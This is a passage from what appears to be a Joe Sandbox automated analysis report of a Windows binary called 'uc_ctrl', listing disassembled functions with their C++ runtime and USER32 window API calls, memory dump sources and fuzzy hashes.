                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@std@@@std@@$Ffmt@?$num_put@_Fput@?$num_put@_H_prolog3_V32@Vios_base@2@_W@std@@@2@_swprintf_sfrexp
                                                                                              • String ID:
                                                                                              • API String ID: 3016303544-0
                                                                                              • Opcode ID: 9bb08ec9389f119d1feec21770fe03592f51ab44a826384cbd0ceb489a0c18e4
                                                                                              • Instruction ID: da38cd3b23cc974af22baafd340d1976a69a26220c493c1b5a812607219e9ba5
                                                                                              • Opcode Fuzzy Hash: 9bb08ec9389f119d1feec21770fe03592f51ab44a826384cbd0ceb489a0c18e4
                                                                                              • Instruction Fuzzy Hash: 8631DFB1A00509EBDF24DF94DC45AEEBBB9FF48304F144429F510A7340E375A955CB90
                                                                                              Function 6CEF2AF0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF2AF7
                                                                                              • frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6CEF2B69
                                                                                              • ?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6CEF2BC0
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF2BCD
                                                                                              • ?_Fput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6CEF2BF6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@std@@@std@@$Ffmt@?$num_put@_Fput@?$num_put@_H_prolog3_V32@Vios_base@2@_W@std@@@2@_swprintf_sfrexp
                                                                                              • String ID:
                                                                                              • API String ID: 3016303544-0
                                                                                              • Opcode ID: 2a1f8cb6ee248010fab58396f62939954820c059b64f0534096207091740ab04
                                                                                              • Instruction ID: 670b2822b6e415f5853614fcbc3cba66ecfb696217f301c59dc7db5fe68db675
                                                                                              • Opcode Fuzzy Hash: 2a1f8cb6ee248010fab58396f62939954820c059b64f0534096207091740ab04
                                                                                              • Instruction Fuzzy Hash: E831AEB1E0010AEBDF14DF94DC85AEEBBB9FF48304F248529F910A7640E375A955CB91
                                                                                              Function 001050F0 Relevance: 7.6, APIs: 5, Instructions: 93COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,?,80070057,?,?,?,?,?,00000006), ref: 00105165
                                                                                              • _invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000000,?,?,80070057,?,?,?,?,?,00000006), ref: 00105171
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _errno_invalid_parameter_noinfo
                                                                                              • String ID:
                                                                                              • API String ID: 2959964966-0
                                                                                              • Opcode ID: da9a3edb03a3a7265b60daa70b05a1948e6418cadd42ce6d59def0a056bc3639
                                                                                              • Instruction ID: 20ff0edab030b6b49c3e65c598243f0562326c7bb2a1643f751b80fbc85f651a
                                                                                              • Opcode Fuzzy Hash: da9a3edb03a3a7265b60daa70b05a1948e6418cadd42ce6d59def0a056bc3639
                                                                                              • Instruction Fuzzy Hash: A821D035700905DFEB09DF19C844A6FB7B6EFA8310B148119E98587394EBF0AD11CFA1
                                                                                              Function 6CF01E60 Relevance: 7.6, APIs: 5, Instructions: 92COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF01E67
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6CF01EBE
                                                                                              • ?sbumpc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6CF01EF8
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6CF01F92
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$?sbumpc@?$basic_streambuf@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_G@std@@@std@@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@
                                                                                              • String ID:
                                                                                              • API String ID: 2971240588-0
                                                                                              • Opcode ID: 773649f7fe6b253db6c5c436e049e9790b5ec3dceec18bbaffc4a3f84ef6d69f
                                                                                              • Instruction ID: d8ff9375b90048b4a1d4e0d4324182f6057852649c685d5851a01d95ef9a7ab4
                                                                                              • Opcode Fuzzy Hash: 773649f7fe6b253db6c5c436e049e9790b5ec3dceec18bbaffc4a3f84ef6d69f
                                                                                              • Instruction Fuzzy Hash: 2D316975B006458FCB20CF59C4A09AEBBF1FF44718B64C44AE495DBBA0D770EA45EB50
                                                                                              Function 6CF07E70 Relevance: 7.6, APIs: 5, Instructions: 90COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF07E77
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,00000001,00000024), ref: 6CF07ED4
                                                                                              • ?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,00000001,00000024), ref: 6CF07F02
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000024), ref: 6CF07F96
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: D@std@@@std@@U?$char_traits@$?sbumpc@?$basic_streambuf@?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@_W@std@@@std@@
                                                                                              • String ID:
                                                                                              • API String ID: 3292973016-0
                                                                                              • Opcode ID: f76410ae2c4098136e9ec43e490154c41e87cfc954969874f147d4e1c1b54259
                                                                                              • Instruction ID: 8c779fe330d2c0c5df038bc830f958281b77be000e9b2de0fe61592286cb97a3
                                                                                              • Opcode Fuzzy Hash: f76410ae2c4098136e9ec43e490154c41e87cfc954969874f147d4e1c1b54259
                                                                                              • Instruction Fuzzy Hash: 90319C75B00645CFC720DF69C8A089DBBF0BF08718B60C59EE4659BB51D770EA45DB50
                                                                                              Function 6CF009A0 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF009A7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140 ref: 6CF009F0
                                                                                              • ?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,0000001C), ref: 6CF009F7
                                                                                              • ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,0000001C), ref: 6CF00A28
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,0000001C), ref: 6CF00ADA
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_?sputc@?$basic_streambuf@_H_prolog3H_prolog3_catchV12@
                                                                                              • String ID:
                                                                                              • API String ID: 4023532899-0
                                                                                              • Opcode ID: b5fe4f20ff7ff44fb088f36856e77c8997cc584c4d0827b425a575123b72f8f4
                                                                                              • Instruction ID: 0bde30ae5e848869caef2aa82508a24d482c5fd8574691c671cb6acd754ce94a
                                                                                              • Opcode Fuzzy Hash: b5fe4f20ff7ff44fb088f36856e77c8997cc584c4d0827b425a575123b72f8f4
                                                                                              • Instruction Fuzzy Hash: F331F731A45285DFDB04CF98C060BFDBBB1AF48708F28406ED0855BB81CBB4CA46E790
                                                                                              Function 6CFAACCC Relevance: 7.6, APIs: 5, Instructions: 81COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetParent.USER32(?), ref: 6CFAACED
                                                                                              • GetWindow.USER32(?,00000005), ref: 6CFAAD25
                                                                                              • GetWindowRect.USER32(?,00000000), ref: 6CFAAD51
                                                                                                • Part of subcall function 6CF9617E: ScreenToClient.USER32(?,?), ref: 6CF9618D
                                                                                                • Part of subcall function 6CF9617E: ScreenToClient.USER32(?,?), ref: 6CF9619A
                                                                                              • OffsetRect.USER32(00000000,00000000,?), ref: 6CFAAD69
                                                                                                • Part of subcall function 6CF9D922: SetWindowPos.USER32(?,?,00000015,000000FF,000000FF,?,?,?,?,6CF97FE1,00000000,?,?,000000FF,000000FF,00000015), ref: 6CF9D94A
                                                                                              • GetWindow.USER32(?,00000002), ref: 6CFAAD89
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$ClientRectScreen$OffsetParent
                                                                                              • String ID:
                                                                                              • API String ID: 622029514-0
                                                                                              • Opcode ID: 8b91fe1a912a9c34c1dd9d3744c052f005bb291107f77f84db9924ea0cde7af0
                                                                                              • Instruction ID: bfedf68e6f0f06b48cd82e38388a528d141a8ef0f30ee7d6b70ca1063c70b0e7
                                                                                              • Opcode Fuzzy Hash: 8b91fe1a912a9c34c1dd9d3744c052f005bb291107f77f84db9924ea0cde7af0
                                                                                              • Instruction Fuzzy Hash: 5B219571A0170AABEF119BA4CC48FAEBBB8EF08325F200515E915A7690DB75D904CB61
                                                                                              Function 6CF9B81E Relevance: 7.6, APIs: 5, Instructions: 81windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF9B828
                                                                                              • GetTopWindow.USER32(?), ref: 6CF9B855
                                                                                              • GetDlgCtrlID.USER32(00000000), ref: 6CF9B867
                                                                                              • SendMessageW.USER32(?,00000087,00000000,00000000), ref: 6CF9B8C2
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 6CF9B904
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$CtrlH_prolog3MessageSend
                                                                                              • String ID:
                                                                                              • API String ID: 849854284-0
                                                                                              • Opcode ID: 4ab0cea7ce2b2818a5244aed5403d80ace50799ccee1c4264224e238e32ca91d
                                                                                              • Instruction ID: 6a33d76ad54c41a484448a23d82eee3afd1004ae4bfe36d1cea9f772a2e9c755
                                                                                              • Opcode Fuzzy Hash: 4ab0cea7ce2b2818a5244aed5403d80ace50799ccee1c4264224e238e32ca91d
                                                                                              • Instruction Fuzzy Hash: 9921C471805218AAFF219B62CD44FEEB67AFF49708F200559F915E2640DF309E06CB92
                                                                                              Function 6CF06A20 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF06A27
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140 ref: 6CF06A6C
                                                                                              • ?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,0000001C), ref: 6CF06A73
                                                                                              • ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(00000000,?,0000001C), ref: 6CF06A9C
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,0000001C), ref: 6CF06B41
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: D@std@@@std@@U?$char_traits@$U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@?sputc@?$basic_streambuf@H_prolog3H_prolog3_catchV12@
                                                                                              • String ID:
                                                                                              • API String ID: 3750683343-0
                                                                                              • Opcode ID: 9861797ffcf9d0971d2729101b0344cc0b3acaa11024cf414e10f49de9e86844
                                                                                              • Instruction ID: 41a8f3c9a4b0e4b4038917a421f9ffd6fb337ba262f23c4104431ba9210da71e
                                                                                              • Opcode Fuzzy Hash: 9861797ffcf9d0971d2729101b0344cc0b3acaa11024cf414e10f49de9e86844
                                                                                              • Instruction Fuzzy Hash: 6321E1B2A45244DFDF14CFA8C4B0A9DBBB1AF08B68F24825DE4509B7C1CB308A86D750
                                                                                              Function 6CF02D10 Relevance: 7.6, APIs: 5, Instructions: 77COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02D17
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6CF02D4B
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF02D60
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6CF02D9E
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6CF02E07
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3926143654-0
                                                                                              • Opcode ID: 5ddcedec999be09fddb96dfb9786d0fd01571ff8e6ec71f8c47ec4b8461a6814
                                                                                              • Instruction ID: f03f9983a79337a674040b5e41d4c638ce8cb3cf61fa72b82222bcb05c97f21c
                                                                                              • Opcode Fuzzy Hash: 5ddcedec999be09fddb96dfb9786d0fd01571ff8e6ec71f8c47ec4b8461a6814
                                                                                              • Instruction Fuzzy Hash: 52317A70F01149DFCB05CFA8C4A4BEEBBB9BF48718F24405AE005A7391DB709A05DBA4
                                                                                              Function 6CF05F50 Relevance: 7.6, APIs: 5, Instructions: 77COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF05F57
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6CF05F8B
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF05FA0
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6CF05FDE
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6CF06047
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 350562734-0
                                                                                              • Opcode ID: 226c330b8b8a13fe2e6370da3f7afe0c4cf2eabb5d0f8dc6e2bcab4b6ce5f0f9
                                                                                              • Instruction ID: 87ce712e04130a6305888d2c1723f136b34336b0dcc3128d987d67b4fe252754
                                                                                              • Opcode Fuzzy Hash: 226c330b8b8a13fe2e6370da3f7afe0c4cf2eabb5d0f8dc6e2bcab4b6ce5f0f9
                                                                                              • Instruction Fuzzy Hash: 8E318D70E01109DFCB05CFA8C5A0AEEBBB9BF48758F24405EE405A7741DB709A45DBA0
                                                                                              Function 6CF02F10 Relevance: 7.6, APIs: 5, Instructions: 77COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
